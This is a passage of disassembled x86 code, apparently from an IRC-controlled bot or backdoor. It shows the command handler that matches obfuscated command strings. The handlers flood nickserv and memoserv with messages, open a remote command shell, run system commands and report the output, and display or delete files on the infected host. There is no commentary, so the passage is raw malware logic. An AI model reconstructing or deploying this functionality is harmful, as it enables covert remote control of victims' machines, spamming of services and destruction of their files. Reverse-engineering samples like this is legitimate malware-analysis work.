		jnz	loc_40EB93
		mov	eax, [ebx+8]
		test	eax, eax
		jz	loc_40EB93
		cmp	dword ptr [ebx+0Ch], 0
		jz	loc_40EB93
		push	eax
		push	offset a5h5br_qpSm1_0 ;	"5H5BR.qp/sm1"
		lea	eax, [ebp+var_59BC]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		push	dword ptr [ebx+0Ch]
		lea	eax, [ebp+var_59BC]
		push	dword ptr [ebx+8]
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		push	offset aSSS	; "%s %s :%s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 2Ch
		call	sub_429B9C
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	dword_437190	; Sleep
		push	dword ptr [ebx+0Ch]
		lea	eax, [ebp+var_59BC]
		push	dword ptr [ebx+8]
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		push	offset aSSS	; "%s %s :%s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 18h
		call	sub_429B9C
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	dword_437190	; Sleep
		push	dword ptr [ebx+0Ch]
		lea	eax, [ebp+var_59BC]
		push	dword ptr [ebx+8]
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		push	offset aSSS	; "%s %s :%s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 18h


loc_40EB93:				; CODE XREF: sub_40A9FE+40AEj
					; sub_40A9FE+40B9j ...
		push	dword ptr [ebx+4]
		push	offset aXzaru0amxhi_ ; "XZArU0aMxhi."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40EC7C
		mov	eax, [ebx+8]
		test	eax, eax
		jz	loc_40EC7C
		push	eax
		push	offset a5h5br_qpSm1_0 ;	"5H5BR.qp/sm1"
		lea	eax, [ebp+var_59BC]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		push	dword ptr [ebx+0Ch]
		lea	eax, [ebp+var_59BC]
		push	dword ptr [ebx+8]
		push	offset aG7IvGks9l1 ; "g7/IV/gks9L1"
		push	offset aSSS	; "%s %s :%s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 2Ch
		call	sub_429B9C
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	dword_437190	; Sleep
		push	dword ptr [ebx+0Ch]
		lea	eax, [ebp+var_59BC]
		push	dword ptr [ebx+8]
		push	offset aG7IvGks9l1 ; "g7/IV/gks9L1"
		push	offset aSSS	; "%s %s :%s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 18h
		call	sub_429B9C
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	dword_437190	; Sleep
		push	dword ptr [ebx+0Ch]
		lea	eax, [ebp+var_59BC]
		push	dword ptr [ebx+8]
		push	offset aG7IvGks9l1 ; "g7/IV/gks9L1"
		push	offset aSSS	; "%s %s :%s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 18h


loc_40EC7C:				; CODE XREF: sub_40A9FE+41A1j
					; sub_40A9FE+41ACj
		push	dword ptr [ebx+4]
		push	offset aRa7e2Hhxpf0 ; "rA7E2/hHXPf0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40ED98
		mov	eax, [ebx+8]
		test	eax, eax
		jz	loc_40ED98
		push	eax
		push	offset a5h5br_qpSm1_0 ;	"5H5BR.qp/sm1"
		lea	eax, [ebp+var_59BC]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_59BC]
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		push	offset dword_441088
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 28h
		call	sub_429B9C
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_437190	; Sleep
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_59BC]
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		push	offset dword_441074
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 14h
		call	sub_429B9C
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_437190	; Sleep
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_59BC]
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		push	offset dword_441064
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 14h
		call	sub_429B9C
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_437190	; Sleep
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_59BC]
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		push	offset dword_441064
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 14h


loc_40ED98:				; CODE XREF: sub_40A9FE+428Aj
					; sub_40A9FE+4295j
		push	dword ptr [ebx+4]
		push	offset aRp4sr11cvr1 ; "Rp4sR11CvR1/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40EEC7
		mov	eax, [ebx+8]
		test	eax, eax
		jz	loc_40EEC7
		cmp	dword ptr [ebx+0Ch], 0
		jz	loc_40EEC7
		push	eax
		push	offset a5h5br_qpSm1_0 ;	"5H5BR.qp/sm1"
		lea	eax, [ebp+var_59BC]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_59BC]
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		push	offset dword_441088
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 28h
		call	sub_429B9C
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_437190	; Sleep
		push	dword ptr [ebx+0Ch]
		lea	eax, [ebp+var_59BC]
		push	dword ptr [ebx+8]
		push	offset aG7IvGks9l1 ; "g7/IV/gks9L1"
		push	offset aSSS	; "%s %s :%s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 18h
		call	sub_429B9C
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_437190	; Sleep
		push	dword ptr [ebx+0Ch]
		lea	eax, [ebp+var_59BC]
		push	dword ptr [ebx+8]
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		push	offset aSSS	; "%s %s :%s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 18h
		call	sub_429B9C
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_437190	; Sleep
		push	dword ptr [ebx+0Ch]
		lea	eax, [ebp+var_59BC]
		push	dword ptr [ebx+8]
		push	offset aG7IvGks9l1 ; "g7/IV/gks9L1"
		push	offset aSSS	; "%s %s :%s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 18h


loc_40EEC7:				; CODE XREF: sub_40A9FE+43A6j
					; sub_40A9FE+43B1j ...
		push	dword ptr [ebx+4]
		push	offset aZqrvt0t6nmz_ ; "ZqrVt0t6nmZ."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40EF75
		mov	eax, [ebx+0Ch]
		test	eax, eax
		jz	loc_40EF75
		push	eax
		lea	eax, [ebp+var_32AC]
		push	offset aS_5	; "%s"
		push	eax
		call	sub_429B03
		add	esp, 0Ch
		push	4
		pop	eax
		cmp	[ebp+arg_4], eax
		mov	[ebp+arg_C], eax
		jle	short loc_40EF46


loc_40EF04:				; CODE XREF: sub_40A9FE+4546j
		mov	eax, [ebp+arg_C]
		mov	eax, [ebx+eax*4]
		test	eax, eax
		jz	short loc_40EF3B
		push	eax
		lea	eax, [ebp+var_E840]
		push	offset aS_1	; " %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_E840]
		push	100h
		push	eax
		lea	eax, [ebp+var_32AC]
		push	eax
		call	sub_4299E0
		add	esp, 18h


loc_40EF3B:				; CODE XREF: sub_40A9FE+450Ej
		inc	[ebp+arg_C]
		mov	eax, [ebp+arg_C]
		cmp	eax, [ebp+arg_4]
		jl	short loc_40EF04


loc_40EF46:				; CODE XREF: sub_40A9FE+4504j
		lea	eax, [ebp+var_32AC]
		push	eax
		lea	eax, [ebp+var_59BC]
		push	dword ptr [ebx+8]
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		push	offset aSMemoservSendS ; "%s memoserv :send %s %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 18h


loc_40EF75:				; CODE XREF: sub_40A9FE+44D5j
					; sub_40A9FE+44E0j
		push	dword ptr [ebx+4]
		push	offset a1shta0bzfwk1 ; "1ShtA0bzFwk1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40EFD9
		call	dword_437188	; GetTickCount
		push	eax
		call	sub_429B8F
		pop	ecx
		call	sub_401A77
		push	eax
		call	sub_401A77
		push	eax
		lea	eax, [ebp+var_5F150]
		push	offset aS@S_com	; "%s@%s.com"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_5F150]
		push	eax
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		lea	eax, [ebp+var_59BC]
		push	offset aSNickservRegis ; "%s nickserv :register	pass103	%s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 24h


loc_40EFD9:				; CODE XREF: sub_40A9FE+4583j
		push	dword ptr [ebx+4]
		push	offset aAzcsp_hkilo_ ; "AZcsP.hkiLO."
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40F00C
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		lea	eax, [ebp+var_59BC]
		push	offset aSNickservDrop ;	"%s nickserv drop"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 10h


loc_40F00C:				; CODE XREF: sub_40A9FE+45E7j
		push	dword ptr [ebx+4]
		push	offset aErwc30qfw_p0 ; "eRWc30Qfw.P0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_414995
		call	sub_426B6C
		xor	ebx, ebx
		mov	edi, offset aSUnloaded_	; "%s Unloaded."
		cmp	[ebp+arg_14], ebx
		jnz	short loc_40F048
		cmp	[ebp+arg_18], ebx
		jnz	short loc_40F051
		push	offset aXu6cu1p_sn6_6n ; "XU6CU1p.SN6.6N5aw.affEY1"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 10h


loc_40F048:				; CODE XREF: sub_40A9FE+462Fj
		cmp	[ebp+arg_18], ebx
		jz	loc_414995


loc_40F051:				; CODE XREF: sub_40A9FE+4634j
		push	offset aXu6cu1p_sn6_6n ; "XU6CU1p.SN6.6N5aw.affEY1"
		jmp	loc_414743
; ---------------------------------------------------------------------------


loc_40F05B:				; CODE XREF: sub_40A9FE+2A19j
		push	dword ptr [ebx]
		push	offset aFepmfZswfd ; "FEpMF/ZswFD/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40F101
		cmp	[ebx+4], eax
		jnz	short loc_40F07B
		mov	edi, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		jmp	loc_40F8A0
; ---------------------------------------------------------------------------


loc_40F07B:				; CODE XREF: sub_40A9FE+4671j
		push	20h
		push	[ebp+arg_8]
		call	sub_42B1A0
		mov	edi, eax
		xor	ebx, ebx
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_414995
		cmp	[ebp+arg_34], ebx
		jz	short loc_40F0C9
		mov	al, [ebp+arg_38]
		mov	byte ptr [ebp+arg_C+3],	5Fh
		test	al, al
		jz	short loc_40F0A6
		mov	byte ptr [ebp+arg_C+3],	al


loc_40F0A6:				; CODE XREF: sub_40A9FE+46A3j
		push	edi
		call	sub_4293A0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F0C9


loc_40F0B1:				; CODE XREF: sub_40A9FE+46C9j
		mov	al, byte ptr [ebp+arg_C+3]
		cmp	[ebx+edi], al
		jnz	short loc_40F0BD
		mov	byte ptr [ebx+edi], 20h


loc_40F0BD:				; CODE XREF: sub_40A9FE+46B9j
		push	edi
		inc	ebx
		call	sub_4293A0
		cmp	ebx, eax
		pop	ecx
		jb	short loc_40F0B1


loc_40F0C9:				; CODE XREF: sub_40A9FE+4698j
					; sub_40A9FE+46B1j
		inc	edi
		push	edi
		call	sub_42B0E9
		test	eax, eax
		pop	ecx
		jz	short loc_40F0F1
		cmp	[ebp+arg_18], 0
		push	offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		push	offset aSSystemcallFai ; "%s SystemCall	failed."
		jnz	loc_414744


loc_40F0E9:				; CODE XREF: sub_40A9FE+C33j
		push	dword ptr [esi+0Ch]
		jmp	loc_40AF51
; ---------------------------------------------------------------------------


loc_40F0F1:				; CODE XREF: sub_40A9FE+46D5j
		push	edi
		push	offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		push	offset aSSystemcallSen ; "%s SystemCall	sent: \"%s\""
		jmp	loc_40D1F8
; ---------------------------------------------------------------------------


loc_40F101:				; CODE XREF: sub_40A9FE+4668j
		push	dword ptr [ebx]
		push	offset aSud8hRsu8j1 ; "sUd8h/rsu8j1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40F1EE
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+arg_18]
		mov	[ebp+var_27D4],	eax
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_27D8],	ecx
		mov	[ebp+var_28E4],	eax
		mov	eax, [eax]
		mov	[ebp+var_28E0],	eax
		lea	eax, [ebp+var_285C]
		test	ecx, ecx
		jnz	short loc_40F144
		push	dword ptr [esi+0Ch]
		jmp	short loc_40F146
; ---------------------------------------------------------------------------


loc_40F144:				; CODE XREF: sub_40A9FE+473Fj
		push	dword ptr [esi]


loc_40F146:				; CODE XREF: sub_40A9FE+4744j
		push	eax
		call	dword_4370B4	; lstrcpyA
		push	0Fh
		call	sub_423800
		test	eax, eax
		pop	ecx
		jle	short loc_40F168
		mov	ebx, offset aSS_ ; "%s %s."
		mov	edi, offset aIhfnL6b5x ; "/iHFN/l6B5X/"
		jmp	loc_40F2F6
; ---------------------------------------------------------------------------


loc_40F168:				; CODE XREF: sub_40A9FE+4759j
		push	[ebp+var_28E4]
		lea	eax, [ebp+var_285C]
		push	eax
		call	sub_41E7BE
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	edi, offset aWhdag1glagf_ ; "WHdAg1glAgf."
		mov	ebx, offset aSCouldnTOpenSh ; "%s Couldn't open shell."
		jnz	short loc_40F1A7
		cmp	[ebp+arg_14], 0
		jnz	short loc_40F1A7
		cmp	[ebp+arg_18], 0
		jnz	short loc_40F1AD
		push	edi
		push	ebx
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 10h


loc_40F1A7:				; CODE XREF: sub_40A9FE+478Bj
					; sub_40A9FE+4791j
		cmp	[ebp+arg_18], 0
		jz	short loc_40F1BB


loc_40F1AD:				; CODE XREF: sub_40A9FE+4797j
		push	edi
		push	ebx
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		jmp	short loc_40F1D6
; ---------------------------------------------------------------------------


loc_40F1BB:				; CODE XREF: sub_40A9FE+47ADj
		cmp	[ebp+arg_14], 0
		jnz	loc_414995
		push	edi
		push	offset aSShellReady_ ; "%s Shell ready."
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A


loc_40F1D6:				; CODE XREF: sub_40A9FE+47BBj
		add	esp, 10h
		cmp	[ebp+arg_18], 0
		jz	loc_414995
		push	edi
		push	offset aSShellReady_ ; "%s Shell ready."
		jmp	loc_414744
; ---------------------------------------------------------------------------


loc_40F1EE:				; CODE XREF: sub_40A9FE+470Ej
		push	dword ptr [ebx]
		push	offset aJ2yyw_j09xc ; "j2yYw.J09XC/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40F370
		cmp	[ebx+4], eax
		jnz	short loc_40F242
		cmp	[ebp+arg_14], eax
		mov	edi, offset aSS_1 ; "%s	%s"
		mov	ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
		jnz	short loc_40F22D
		cmp	[ebp+arg_18], eax
		jnz	short loc_40F237
		push	ebx
		push	offset aWhdag1glagf_ ; "WHdAg1glAgf."
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 14h


loc_40F22D:				; CODE XREF: sub_40A9FE+4813j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40F237:				; CODE XREF: sub_40A9FE+4818j
		push	ebx
		push	offset aWhdag1glagf_ ; "WHdAg1glAgf."
		jmp	loc_40C891
; ---------------------------------------------------------------------------


loc_40F242:				; CODE XREF: sub_40A9FE+4804j
		push	2710h
		lea	eax, [ebp+var_3A760]
		push	0
		push	eax
		call	sub_429760
		mov	edi, 104h
		lea	eax, [ebp+var_2A7C]
		push	edi
		push	0
		push	eax
		call	sub_429760
		push	dword ptr [ebx+4]
		lea	eax, [ebp+var_2A7C]
		push	offset aS_5	; "%s"
		push	eax
		call	sub_429B03
		add	esp, 24h
		push	2
		pop	eax
		cmp	[ebp+arg_4], eax
		mov	[ebp+arg_C], eax
		jle	short loc_40F2C9


loc_40F28B:				; CODE XREF: sub_40A9FE+48C9j
		mov	eax, [ebp+arg_C]
		mov	eax, [ebx+eax*4]
		test	eax, eax
		jz	short loc_40F2BE
		push	eax
		lea	eax, [ebp+var_3A760]
		push	offset aS_1	; " %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_3A760]
		push	edi
		push	eax
		lea	eax, [ebp+var_2A7C]
		push	eax
		call	sub_4299E0
		add	esp, 18h


loc_40F2BE:				; CODE XREF: sub_40A9FE+4895j
		inc	[ebp+arg_C]
		mov	eax, [ebp+arg_C]
		cmp	eax, [ebp+arg_4]
		jl	short loc_40F28B


loc_40F2C9:				; CODE XREF: sub_40A9FE+488Bj
		lea	eax, [ebp+var_2A7C]
		push	offset asc_440D90 ; "\n"
		push	eax
		call	dword_437090	; lstrcatA
		lea	eax, [ebp+var_2A7C]
		push	eax
		call	sub_41E5C7
		test	eax, eax
		pop	ecx
		jnz	short loc_40F32C
		mov	ebx, offset aSS_1 ; "%s	%s"
		mov	edi, offset aYdidb16dnmq_ ; "YdidB16dnMQ."


loc_40F2F6:				; CODE XREF: sub_40A9FE+4765j
		cmp	[ebp+arg_14], 0
		jnz	short loc_40F317
		cmp	[ebp+arg_18], 0
		jnz	short loc_40F321
		push	edi
		push	offset aWhdag1glagf_ ; "WHdAg1glAgf."
		push	ebx
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 14h


loc_40F317:				; CODE XREF: sub_40A9FE+48FCj
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40F321:				; CODE XREF: sub_40A9FE+4902j
		push	edi
		push	offset aWhdag1glagf_ ; "WHdAg1glAgf."
		jmp	loc_40B0FB
; ---------------------------------------------------------------------------


loc_40F32C:				; CODE XREF: sub_40A9FE+48ECj
		cmp	[ebp+arg_14], 0
		mov	ebx, offset aWhdag1glagf_ ; "WHdAg1glAgf."
		mov	edi, offset aSCommandsS_ ; "%s Commands: %s."
		jnz	short loc_40F359
		cmp	[ebp+arg_18], 0
		jnz	short loc_40F363
		lea	eax, [ebp+var_2A7C]
		push	eax
		push	ebx
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 14h


loc_40F359:				; CODE XREF: sub_40A9FE+493Cj
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40F363:				; CODE XREF: sub_40A9FE+4942j
		lea	eax, [ebp+var_2A7C]
		push	eax
		push	ebx
		jmp	loc_40C891
; ---------------------------------------------------------------------------


loc_40F370:				; CODE XREF: sub_40A9FE+47FBj
		push	dword ptr [ebx]
		push	offset a43ucs0rkqux_ ; "43uCS0rkQUx."
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40F389
		push	offset aWhdag1glagf_ ; "WHdAg1glAgf."
		push	0Fh
		jmp	loc_412B29
; ---------------------------------------------------------------------------


loc_40F389:				; CODE XREF: sub_40A9FE+497Dj
		push	dword ptr [ebx]
		push	offset aJc8j0_blhir0 ; "jC8j0.blHIr0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40FB9F
		xor	ecx, ecx
		cmp	[ebx+4], ecx
		jz	loc_40FB84
		mov	eax, [ebx+8]
		cmp	eax, ecx
		jz	loc_40FB84
		push	eax
		lea	eax, [ebp+var_418]
		push	offset aS_5	; "%s"
		push	eax
		call	sub_429B03
		add	esp, 0Ch
		push	3
		pop	eax
		cmp	[ebp+arg_4], eax
		mov	[ebp+arg_C], eax
		jle	short loc_40F412


loc_40F3D0:				; CODE XREF: sub_40A9FE+4A12j
		mov	eax, [ebp+arg_C]
		mov	eax, [ebx+eax*4]
		test	eax, eax
		jz	short loc_40F407
		push	eax
		lea	eax, [ebp+var_63F70]
		push	offset aS_1	; " %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_63F70]
		push	104h
		push	eax
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_4299E0
		add	esp, 18h


loc_40F407:				; CODE XREF: sub_40A9FE+49DAj
		inc	[ebp+arg_C]
		mov	eax, [ebp+arg_C]
		cmp	eax, [ebp+arg_4]
		jl	short loc_40F3D0


loc_40F412:				; CODE XREF: sub_40A9FE+49D0j
		push	dword ptr [ebx+4]
		push	offset aPiygc_bgpyh_ ; "PIYGC.BgPyH."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40F5D6
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_2470]
		push	offset aS_5	; "%s"
		push	eax
		call	sub_429B03
		add	esp, 0Ch
		push	3
		pop	edi
		cmp	[ebp+arg_4], edi
		jle	short loc_40F478


loc_40F443:				; CODE XREF: sub_40A9FE+4A78j
		mov	eax, [ebx+edi*4]
		test	eax, eax
		jz	short loc_40F472
		push	eax
		lea	eax, [ebp+var_68D90]
		push	offset aS_1	; " %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_68D90]
		push	eax
		lea	eax, [ebp+var_2470]
		push	eax
		call	sub_42A5E0
		add	esp, 14h


loc_40F472:				; CODE XREF: sub_40A9FE+4A4Aj
		inc	edi
		cmp	edi, [ebp+arg_4]
		jl	short loc_40F443


loc_40F478:				; CODE XREF: sub_40A9FE+4A43j
		lea	eax, [ebp+var_2470]
		push	offset word_43EF70
		push	eax
		call	sub_42A50C
		pop	ecx
		mov	[ebp+arg_C], eax
		test	eax, eax
		pop	ecx
		mov	edi, offset aLmecq0ygcok ; "lmecq0yGcoK/"
		jz	loc_40F587
		cmp	[ebp+arg_14], 0
		mov	ebx, offset aSDisplayingFil ; "%s Displaying file: %s"
		jnz	short loc_40F4C3
		cmp	[ebp+arg_18], 0
		jnz	short loc_40F4C9
		lea	eax, [ebp+var_2470]
		push	eax
		push	edi
		push	ebx
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 14h


loc_40F4C3:				; CODE XREF: sub_40A9FE+4AA6j
		cmp	[ebp+arg_18], 0
		jz	short loc_40F4DF


loc_40F4C9:				; CODE XREF: sub_40A9FE+4AACj
		lea	eax, [ebp+var_2470]
		push	eax
		push	edi
		push	ebx
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 14h


loc_40F4DF:				; CODE XREF: sub_40A9FE+4AC9j
		mov	ebx, 2710h
		jmp	short loc_40F50C
; ---------------------------------------------------------------------------


loc_40F4E6:				; CODE XREF: sub_40A9FE+4B23j
		cmp	[ebp+arg_14], 0
		jnz	short loc_40F50C
		cmp	[ebp+arg_18], 0
		jnz	short loc_40F50C
		lea	eax, [ebp+var_491C0]
		push	eax
		push	offset aS_5	; "%s"
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 10h


loc_40F50C:				; CODE XREF: sub_40A9FE+4AE6j
					; sub_40A9FE+4AECj ...
		push	[ebp+arg_C]
		lea	eax, [ebp+var_491C0]
		push	ebx
		push	eax
		call	sub_42B087
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40F4E6
		cmp	[ebp+arg_18], eax
		jz	short loc_40F541
		lea	eax, [ebp+var_491C0]
		push	eax
		push	offset aS_5	; "%s"
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 10h


loc_40F541:				; CODE XREF: sub_40A9FE+4B28j
		push	[ebp+arg_C]
		call	sub_42A10B
		cmp	[ebp+arg_14], 0
		pop	ecx
		mov	ebx, offset aSFileDisplayed ; "%s File displayed: %s"
		jnz	short loc_40F572
		cmp	[ebp+arg_18], 0
		jnz	short loc_40F57C
		lea	eax, [ebp+var_2470]
		push	eax
		push	edi
		push	ebx
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 14h


loc_40F572:				; CODE XREF: sub_40A9FE+4B55j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40F57C:				; CODE XREF: sub_40A9FE+4B5Bj
		lea	eax, [ebp+var_2470]
		jmp	loc_40B0F9
; ---------------------------------------------------------------------------


loc_40F587:				; CODE XREF: sub_40A9FE+4A97j
		cmp	[ebp+arg_14], 0
		mov	ebx, dword_437170
		jnz	short loc_40F5B7
		cmp	[ebp+arg_18], 0
		jnz	short loc_40F5C1
		call	ebx ; dword_437170
		push	eax
		lea	eax, [ebp+var_2470]
		push	eax
		push	edi
		push	offset aSFailedToReadF ; "%s Failed to read file: %s,error: <%d>"
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_40F5B7:				; CODE XREF: sub_40A9FE+4B93j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40F5C1:				; CODE XREF: sub_40A9FE+4B99j
		call	ebx ; dword_437170
		push	eax
		lea	eax, [ebp+var_2470]
		push	eax
		push	edi
		push	offset aSFailedToReadF ; "%s Failed to read file: %s,error: <%d>"
		jmp	loc_41491D
; ---------------------------------------------------------------------------


loc_40F5D6:				; CODE XREF: sub_40A9FE+4A20j
		push	dword ptr [ebx+4]
		push	offset a7bqzu_aqz2u_ ; "7bQzU.aQz2u."
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40F61A
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_4277C0
		test	eax, eax
		pop	ecx
		jz	short loc_40F60B
		lea	eax, [ebp+var_418]
		push	eax
		push	offset aLmecq0ygcok ; "lmecq0yGcoK/"
		push	offset aSFileExistsS ; "%s File	exists:	%s"
		jmp	loc_40D1F8
; ---------------------------------------------------------------------------


loc_40F60B:				; CODE XREF: sub_40A9FE+4BF5j
		mov	edi, offset aLmecq0ygcok ; "lmecq0yGcoK/"
		mov	ebx, offset aSFileDoesnTExi ; "%s File doesn't exist: %s"
		jmp	loc_40FAFD
; ---------------------------------------------------------------------------


loc_40F61A:				; CODE XREF: sub_40A9FE+4BE4j
		push	dword ptr [ebx+4]
		push	offset aSar5v0jloic0 ; "saR5v0JloIc0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40F697
		lea	eax, [ebp+var_418]
		push	eax
		call	dword_437060	; DeleteFileA
		test	eax, eax
		mov	edi, offset aLmecq0ygcok ; "lmecq0yGcoK/"
		jz	short loc_40F648
		mov	ebx, offset aSFileDeletedS ; "%s File deleted: %s"
		jmp	loc_40FAFD
; ---------------------------------------------------------------------------


loc_40F648:				; CODE XREF: sub_40A9FE+4C3Ej
		cmp	[ebp+arg_14], 0
		mov	ebx, dword_437170
		jnz	short loc_40F678
		cmp	[ebp+arg_18], 0
		jnz	short loc_40F682
		call	ebx ; dword_437170
		push	eax
		lea	eax, [ebp+var_418]
		push	eax
		push	edi
		push	offset aSFailedToDelFi ; "%s Failed to del file: %s, error: <%d>"
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_40F678:				; CODE XREF: sub_40A9FE+4C54j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40F682:				; CODE XREF: sub_40A9FE+4C5Aj
		call	ebx ; dword_437170
		push	eax
		lea	eax, [ebp+var_418]
		push	eax
		push	edi
		push	offset aSFailedToDelFi ; "%s Failed to del file: %s, error: <%d>"
		jmp	loc_41491D
; ---------------------------------------------------------------------------
